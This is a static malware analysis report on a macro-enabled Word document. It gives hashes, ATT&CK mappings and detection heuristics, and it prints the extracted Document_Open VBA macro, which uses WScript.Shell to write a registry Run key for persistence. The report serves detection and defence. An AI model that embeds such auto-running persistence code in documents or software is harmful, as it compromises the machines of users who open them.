Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bcc22e83ca8f0480…

MALICIOUS

Office (OOXML)

18.2 KB Created: 2021-04-13 22:12:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-10-27
MD5: b1c37bf3a82f30eefeca04225edee06c SHA-1: 7798da310b443f235c2c3469dc5f76d9dc21fbf5 SHA-256: bcc22e83ca8f0480ac760b9ed82446f9f4ece9d3175f5fb60a9d4a9635371666
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious OOXML document containing a VBA macro. The Document_Open macro uses WScript.Shell to write a value to the registry Run key, establishing persistence. The script attempts to write 'notepad.exe' to a dynamically generated Run key name, likely to disguise its activity.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    LRandomNumber = Int((300 - 200 + 1) * Rnd + 200)
Set wsh = VBA.CreateObject("WScript.Shell")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\persist" & LRandomNumber, "notepad.exe", "REG_SZ"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    LRandomNumber = Int((300 - 200 + 1) * Rnd + 200)
Set wsh = VBA.CreateObject("WScript.Shell")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\persist" & LRandomNumber, "notepad.exe", "REG_SZ"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
Dim LRandomNumber As Integer
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 584 bytes
SHA-256: e6264f41d124dc82333679d71bd74b3a411b43958787e95e04b670c97c6a4008
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim LRandomNumber As Integer
Dim wsh As Object
LRandomNumber = Int((300 - 200 + 1) * Rnd + 200)
Set wsh = VBA.CreateObject("WScript.Shell")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\persist" & LRandomNumber, "notepad.exe", "REG_SZ"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 9bf1bafb98d68c2a811b7b798b83c72913e703f8ec3c06aa7677dbd2f8c81811

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